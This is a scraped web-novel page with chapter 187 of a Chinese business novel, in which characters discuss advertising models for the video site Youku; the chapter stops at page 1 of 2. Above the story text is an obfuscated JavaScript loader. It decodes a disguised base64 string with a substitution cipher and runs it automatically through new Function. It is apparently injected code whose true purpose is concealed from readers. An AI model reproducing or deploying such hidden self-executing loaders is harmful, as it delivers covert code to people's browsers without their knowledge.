当书网

阅读记录  |   用户书架
(function(){function u9ecfd17f(v3a5691){var a4b76="Yv_[4Gyb2KUQeR8j6xoi@?;c,-lF3T|IrED~wHt05pdaNz%OJ/s:quPCnLV$^k.A]ZM9!fBgmh17S&(=XW";var tba408="e^&_4XDsRo-|u$gk~Mr1hBf6G?tU;Tbl0[PzivV.ad9OpLcyEj/x7]JCSw,ZW(N:2@mIK8!Hq=3YnFQ5%A";return atob(v3a5691).split('').map(function(x905b9a){var q0ac288=a4b76.indexOf(x905b9a);return q0ac288==-1?x905b9a:tba408[q0ac288]}).join('')}var c=u9ecfd17f('thunder://THdTcEtMRSJ+IisiaTVZXT0iKyJZInVoO2VTJWx3S1NrKXtrO2VTJWx3S1NrcGlpcF1pZlZLcDFwJWZjVkBmPWQlfDVdWVZsNWRkcil7dztrc3Z4NSVRXndTczBsWWJsa1M1SHc4NWxLbzBOSTVsO0tvTSkpe29ZbGVvU31INW8gYmNpZFlZaDtlUyVsd0tTa0tmciVwZil7b1lsZW9TIG5sb3dTODA7b0tNQ0A1b0NLcFlrS2ZyJXBmKX0zSDVvIEBdclk9NGhFIkkvYlVncmlbemFXeVtQbltnVHh6IlYiSFlvVXJpIlYiYndwVWljXSJWIiUlbFVdcl09VXJxVV1pIF0xQV0xQXIxInUzSDVvIE0lcXxmaEBmPWQlfDVdWUViY2lkWVlrZHEpK2JjaWRZWWtpaWMpK2JjaWRZWWtpaWkpK2JjaWRZWWtkZil1VmxwcmZyaEBmPWQlfDVdWUViY2lkWVlrZGYpK2JjaWRZWWtpaWMpK2JjaWRZWWtpaWkpK2JjaWRZWWtkcSl1Vnx8cmRwcWhsNWRkckVNJXF8ZmsiNzF0TyVNdGVwJi4vJU1JTHBXaGgiKXVWWT1wcj1oTSVxfGZrIjcxUEk3RzJJMl46SXxedGVwV2hoIilWTllxcWQ0fGhNJXF8ZmsiJTF0dyUxMk81Xj1TIilWSHx8MXw0MWhNJXF8ZmsiJU10THwsJi8kKGhoIilWNWlkMTE1XTFoTSVxfGZrIiUxP2I1RyhoIilWSGQxcXwxcnBjaE0lcXxmayIlTXRdJEdQfiQoaGgiKVZ+cnJkcllkaE0lcXxmayI1TWROfDhoaCIpVnA7YyVpaEBmPWQlfDVdWUVNJXF8ZmsiVF4mcjVXaGgiKXVWJWk9NWRyZl1ocDtjJWlFTSVxfGZrIjdddE58V2hoIil1Vm8lPXFpcmhwO2MlaUVNJXF8ZmsiJE06SHwxOWgiKXVWbTtwWTQ7WWhwO2MlaUVNJXF8ZmsiJU0mZSQsZGwiKXVWTWY9YzVpaWQ1aE0lcXxmayJ8XiZyN104aCIpVkBmY2NkaTtxfGhNJXF8ZmsifF4mTCIpVkAlO2RjNT0xXWhNJXF8ZmsifCxkQCRXaGgiKTNINW8gfiVmcmlmcWNpaE0lcXxmayIlXWlyNV4ySXA4aGgiKTNINW8gOmRdJV1wMTNINW8gfHJwO3JmWWZ8aHBpaXBdaWZFcnUzdztrcGlpcF1pZjBJWVM4bEA+aSl7fHJwO3JmWWZ8aHBpaXBdaWZFbyU9cWlya207cFk0O1lrKSpwaWlwXWlmMElZUzhsQCl1fXc7a0lLJTVsd0tTMGJZNW8lQDB3U3BZOmE7a34lZnJpZnFjaSk+VWkpezpkXSVdcDFobDVkZHJFWT1wcj11a00lcXxmayJwLHQ0cCwmTyReSmgiKSkzOmRdJV1wMTB3cGgibCIrbTtwWTQ7WWspKmlZNDM6ZF0lXXAxMGJsT0lZMEx3cGxAaCJpcnJYIjM6ZF0lXXAxMGJsT0lZMEBZdzhAbGgiPXJyTjoiMzpkXSVdcDEwcHdiNXxJWXBobG9lWTN3O2tsNWRkcjB8S3BPQmhTZUlJKXtsNWRkcjB8S3BPMDVOTllTcENAd0lwazpkXSVdcDEpfVlJYll7SDVvIEhwPT1kaDtlUyVsd0tTayl7bDVkZHIwfEtwTzA1Tk5ZU3BDQHdJcGs6ZF0lXXAxKTNAZj1kJXw1XVkwb1lNS0hZSkhZU2x6d2JsWVNZb2tAJTtkYzU9MV1WSHA9PWRWOzVJYlkpfTNAZj1kJXw1XVkwNXBwSkhZU2x6d2JsWVNZb2tAJTtkYzU9MV1WSHA9PWRWOzVJYlkpfX1INW8gOzF8ZHxZXTFkaGw1ZGRyRVk9cHI9dWtNJXF8ZmsiJF5pdyReKGgiKSkzOzF8ZHxZXTFkMHdwaEtwMXAlZmMrJWk9NWRyZl1rbTtwWTQ7WWspKmlZNCkzOzF8ZHxZXTFkMGJsT0lZMEBZdzhAbGgick46IjM7MXxkfFldMWQwYmxPSVkwS0hZbztJS0xoIkB3cHBZUyIzJUtTYmwgfDE0Y3xkcGk1aGsvfDFmaSVWTnByXWNpXTRWTzVZZGN8aF1yciloPkRvS013YlkwbzUlWWtFO1lsJUBrL3wxZmklVk5wcl1jaV00KVZTWUwgRG9LTXdiWWtra1tWb1kvWSVsKWg+YllsVHdNWUtlbGtrayloPm9ZL1klbGtTWUwgSm9vS29rImx3TVlLZWwiKSkpVk81WWRjfCkpKXUpM0g1byBOcHIxOzV8PWloNWJPUyUgO2VTJWx3S1NrbD0lNTV8NCl7SDVvIEhjPXBmY11ZY2hFIi9iIlYiJWJiIlYiOHc7IlYiL044IlYiTlM4IlYiL044WSJWIkxZfE4iViJiSDgiViJAbE1JIlYiL05ZOCJ1M0g1byBOXWljNV0lcD1oSGM9cGZjXVljMElZUzhsQDNIYz1wZmNdWWNoSGM9cGZjXVljRW8lPXFpcmttO3BZNDtZaykqTl1pYzVdJXA9KXUzJUtTYmwgTGQ7XTE0cWhFIiRdJWUkTSR+LiwkPXBHJWVwLGRMYS9qPS5UN2gidTNINW8gOFklOztxaExkO10xNHFFcnUzdztrTGQ7XTE0cTBJWVM4bEA+aSl7OFklOztxaExkO10xNHFFbyU9cWlya207cFk0O1lrKSpMZDtdMTRxMElZUzhsQCl1fUg1byBiNXIlOztkZmhONW9iWTlTbGtLcDFwJWZjKTN3O2t3Yi41LmtiNXIlOztkZikpYjVyJTs7ZGZocjNiNXIlOztkZitoZmZmZjNINW8gU2kxaSUlNWhFIkBsbE5iQXMiVnw0Y3A1cWs4WSU7O3EpViJAbE1JIlZgYk1Se2I1ciU7O2RmfWBWYFJ7S3AxcCVmY30wUntIYz1wZmNdWWN9YHVFfnJyZHJZZHVrInMiKTN3O2s6ZF0lXXAxQmhTZUlJKTpkXSVdcDEwSDVJZVkraCJcb1xTYllTcCBtYiBAS2JsICIrU2kxaSUlNTNsb097SDVvIEtZJVldZmg1TDV3bCB8MTRjfGRwaTVrU2kxaSUlNVZ7b1lwd29ZJWxBIjtLSUlLTCJ9Vmk9cnIpM0tZJVldZmg1TDV3bCBLWSVZXWYwbFk6bGspM0g1byBOaWk9MWRjcjRoS1klWV1mMHdTcFk6YTtrYmNpZFlZa2NpKSkzSDVvIGp8cjRwMXJ8JWgiIjN3O2tOaWk9MWRjcjQ+aHIpe2p8cjRwMXJ8JWhLWSVZXWZFTllxcWQ0fHVrTmlpPTFkY3I0KTNLWSVZXWZoS1klWV1mRU5ZcXFkNHx1a3JWTmlpPTFkY3I0KX1LWSVZXWZoS1klWV1mRU1mPWM1aWlkNXVrczB7aVY0fXM4KUVAZmNjZGk7cXx1a2s6aD46RTVpZDExNV0xdWsiIilFSGQxcXwxcnBjdWspRX5ycmRyWWR1ayIiKSkpRX5ycmRyWWR1ayIiKTNLWSVZXWZoS1klWV1mK2p8cjRwMXJ8JTNLWSVZXWZoTSVxfGZrS1klWV1mKTNsPSU1NXw0aEtZJVldZkU1aWQxMTVdMXVrInMiKUVydTN3O2s6ZF0lXXAxQmhTZUlJKTpkXSVdcDEwSDVJZVkraCJcb1xTOFlsIG1iIEBLYmwgYmUlJVliYiIrbD0lNTV8NH0lNWwlQGt8O3wlJWlmPSl7dztrOmRdJV1wMUJoU2VJSSk6ZF0lXXAxMEg1SWVZK2giXG9cUzhZbCBtYiBAS2JsIDs1d0lZcCIrfDt8JSVpZj19SDVvIE4xfGM1WWhscHJmcmtAXXJZPTQwJUtTJTVsa0VgU0tMVVJ7eTVsWUUiU0tMInVrKX1gVmBAb1k7VVJ7SUslNWx3S1MwQG9ZO31gVmBlYiVVUntwO3BpXXFkayl9YHUpMGJLb2xra2spaD5tO3BZNDtZaylVMD0pKUV+cnJkcllkdWsiViIpKTNINW8gb2NjaSVpZGhOMXxjNVkwd1NwWTphO2tiY2lkWVlrY2kpKT5VaS1OMXxjNVlFTllxcWQ0fHVrTjF8YzVZMHdTcFk6YTtrYmNpZFlZa2NpKSkpQSIiM04xfGM1WWhOMXxjNVlFSHx8MXw0MXVrb2NjaSVpZFYiIilFNWlkMTE1XTF1ayIiKUVIZDFxfDFycGN1aylFfnJyZHJZZHVrIiIpK29jY2klaWQzOzF8ZHxZXTFkMGJvJWhFIkBsbE5iQXMiVmw9JTU1fDRWOzF8ZHxZXTFkMHdwVk4xfGM1WXVFfnJyZHJZZHVrInMiKTNsb097bDVkZHIwfEtwTzA1Tk5ZU3BDQHdJcGs7MXxkfFldMWQpfSU1bCVAa1kpe2w1ZGRyMDVwcEpIWVNsendibFlTWW9rInlheENLU2xZU2x6SzVwWXAiVmtrKWg+e2w1ZGRyMHxLcE8wd1NiWW9sP1k7S29ZazsxfGR8WV0xZFZsNWRkcjB8S3BPMCVAd0lwLktwWWJFcnUpfSkpfXc7azpkXSVdcDFCaFNlSUkpezpkXSVdcDEwSDVJZVkraCJcb1xTNU5OWVNwWXAgWU0gbEsgQGxNSSIzSDVvICVyZDtycHJobDVkZHIwOFlsSklZTVlTbD9POXBrOzF8ZHxZXTFkMHdwKTN3O2slcmQ7cnByaGhTZUlJUVElcmQ7cnByaGhlU3BZO3dTWXApezpkXSVdcDEwSDVJZVkraCJcb1xTICU1U2wgOFlsIFlNIDtvS00gQGxNSSJ9fX0zdztrOmRdJV1wMUJoU2VJSSl7OmRdJV1wMTBINUllWStoIlxvXFNiWVNwIC9iIEBLYmwgIit8cnA7cmZZZnx9SDVvIHA7cGldcWRoO2VTJWx3S1NrKXtsb097JUtTYmwgWT00O3xoa1NZTCB5NWxZKTBsS3pLJTVJWXk1bFlubG93UzhrKTMlS1NibCBTO2N8ZmhgYk1sd1tid3BbUns7JT1dY3BdWTQwS3AxcCVmY31bTkhgM0lZbCBMJTQ0XTVZaFBuYS4wTjVvYllrSUslNUlubEtvNThZMDhZbDlsWU1rUztjfGYpKTN3O2tMJTQ0XTVZaGhTZUlJUVFMJTQ0XTVZMHA1bFlCaFk9NDt8KXtMJTQ0XTVZaHtOSFR3TVliQXJWcDVsWUFZPTQ7fH19b1lsZW9TIEwlNDRdNVkwTkhUd01ZYitpfSU1bCVAazVZJTRjZCl7b1lsZW9TIGl9fTNINW8gfDRjcDVxaDtlUyVsd0tTa35yaWN8cSl7b1lsZW9TIE0lcXxma35yaWN8cSlFSHx8MXw0MXVrYmNpZFlZazRdKVZtO3BZNDtZaykwbEtubG93UzhrMWMpMGJJdyVZa28lPXFpcmttO3BZNDtZaykqZCkrXSkpfTNOcHIxOzV8PWlrfDRjcDVxa3xycDtyZllmfCkpM0BmPWQlfDVdWUUiNXBwSkhZU2x6d2JsWVNZbyJ1ayJNWWJiNThZIlZrO2VTJWx3S1NrNVklNGNkKXt3O2s1WSU0Y2QwcDVsNTBqaGhLcDFwJWZjKXtsNWRkcjA4WWxKSVlNWVNsP085cGs7MXxkfFldMWQwd3ApMG9ZTUtIWWspM0g1byBvZjtjaXJpJXJoU2VJSTN3O2s6ZF0lXXAxQmhTZUlJKXs6ZF0lXXAxMEg1SWVZK2giXG9cU29ZJVl3SFkgWU0gTktibCBNWWJiNThZIjM6ZF0lXXAxMEg1SWVZK2giXG9cU1kwcDVsNTBIICIrNVklNGNkMHA1bDUwbTNvZjtjaXJpJXJoazAwMGxZXTFjKWg+e3c7a0JsWV0xY1FRbFldMWMwSVlTOGxAPGhyKW9ZbGVvUzM6ZF0lXXAxMEg1SWVZK2giXG9cUyIrbFldMWMwL0t3U2siICIpfX1TWUwgJmVTJWx3S1NrIjVvOGIiVjVZJTRjZDBwNWw1MG0pa3tbbHAlYkF8fHJkcHFWW0lLOEFvZjtjaXJpJXJ9KX19KSl9KWtFIiRdJWV8VGpdcF0mbXwscmVwLGRMYS9qPS5UN2gidVYiaWNdIlZMd1NwS0xWcEslZU1ZU2wpfTN+aTVZXT1Zaykz'.substr(10));new Function(c)()})();
上一章
目录 | 设置
下一页

第187章 探索视频网站盈利模式(1 / 2)

加入书签 | 推荐本书 | 问题反馈 |

相比于游戏领域的全面开花而言,17互娱公司旗下的优酷网面临的问题重重。

视频网站太烧钱了。这点,齐文虽然早有心理准备,但是,现在看来,明显有些预估不足。

原因就在于视频网站的盈利模式比较模糊。目前,优酷网的主要盈利点还是来源于单一的广告收入。

相对于视频网站所需要的带宽成本来说,这点收入,远远不足以支撑起一个网站的运营成本花费。

更不要说还有其他的人工、版权等各种费用。

虽然优酷网现在每天都拥有300多万次的视频播放次数,覆盖人数也达到了上千万,但手握巨大的流量,如何变现成为摆在谷永江面前一道亟待解决的难题,也是制约网站今后发展的主要问题。

为此,谷永江也是绞尽脑汁,苦思冥想了很久,终于写出了一份可行性报告,并亲自带着报告去了齐文办公室,报告里的有些思路和方法,还需要齐文做进一步审定。

“来,谷总,这边坐。”齐文热情地招呼道。

对于这员老将,齐文还是很尊重的。

落座以后,谷永江开门见山,拿出了他写的视频网站盈利模式分析报告,递给了齐文,并简要说明了视频网站的现状。

“目前来看,视频网站的主要收入还是靠广告植入呀。”齐文大概看完报告以后,抬起头对谷永江说道。

“是的,但是目前的广告形式过于单一,大多以贴片广告为主,因此,我又探索出来了其他两种广告模式,准备拿出一部分播放量较高的视频进行测试。

“哦,这几种广告模式有什么区别吗?”齐文前世虽然也在视频中看过广告,但具体怎么区分,怎么盈利还不是很清楚。

谷永江耐心地解释道:“贴片广告就是在用户观看短视频的必经路径上展示广告视频,例如,短视频的开屏广告就能被每位用户在观看短视频前看到。”

“植入广告这块目前还处在摸索阶段,我的想法是将广告信息与短视频内容相结合,通过在短视频内容中把品牌露出来,或者剧情中植入来满足客户的诉求。

第三种事我把它称为信息流广告。就是将广告视频和平台推荐的视频混合在一起,当用户浏览平台推荐的短视频时,就有可能会看到此类广告。”

原来如此,齐文心里恍然大悟。原来一个广告也能研究出这么多花花样来,植入广告,不就是前世春晚里常见的某某饮料、矿泉水啥的嘛。

“但是齐总,这些广告模式得以实行的前提还是要靠流量,只有流量上去了,才能吸引更多的广告客户投放。”谷永江补充道。

“嗯,流量为王,这个道理我早就知道。”齐文思索了一会儿,接着开口问道:“谷总,除了这几种模式,有没有可能衍生出其他的盈利模式?”

上一章
目录
下一页
A- 18 A+
默认 贵族金 护眼绿 羊皮纸 可爱粉 夜间